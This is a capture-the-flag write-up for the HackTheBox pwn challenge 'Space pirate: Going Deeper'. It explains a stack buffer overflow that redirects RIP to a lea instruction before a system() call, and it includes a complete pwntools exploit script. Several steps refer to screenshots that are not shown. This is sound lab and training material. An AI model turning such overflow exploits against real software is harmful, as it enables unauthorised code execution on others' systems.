Space pirate: Going Deeper

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

We are inside D12! We bypassed the scanning system, and now we are right in front of the Admin Panel. The problem is that there are some safety mechanisms enabled so that not everyone can access the admin panel and become the user right below Draeger. Only a few of his intergalactic team members have access there, and they are the mutants that Draeger trusts. Can you disable the mechanisms and take control of the Admin Panel?

Solution Approach

Core idea: Stack-Based Exploitation. Buffer Overflow.

Steps

1. Unzipping the zip file resulting to a 64 bit binary file.

2. Let us check the binary's protections.

3. Let us decompile the binary.

4. At the main() function, the admin_panel() function shall be our interest because it's where our input accepted.

5. We can get the flag if our previous parameters are the same as these:

6. Anyway there's a system() call that auto cat the flag.

7. Hence the pwn concept is to control the RIP by overflowing the buffer then add the lea offset.

padding + lea_offset

1. First we need to find the offset for RIP.

2. Use peda.

3. Sadly it does not show us the bytes, hence we need to find it manually.

4. But the problem is, since we want to use the system() approach, hence we can't determine if the padding is correct or not, because it shall gave us the "EOF" statement.

5. Then let us assume to use 57 right now.

6. Next, grab the lea offset

7. Let us craft the script.

THE SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:  
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './sp_going_deeper'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

padding = 57 

lea_offset = 0x0000000000400b12
info('lea offset --> %#0x', lea_offset)

p = flat([
    asm('nop') * padding,
    lea_offset
])

sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b':', p)
sh.interactive()

1. Let us lowered it to 56.

2. Got the flag!

3. Let us test it remotely then.

4. Got the flag!

Flag

REDACTED

Lessons Learned

1. Stack-Based Exploitation.
2. Buffer Overflow.
3. Return to system() --> using lea offset.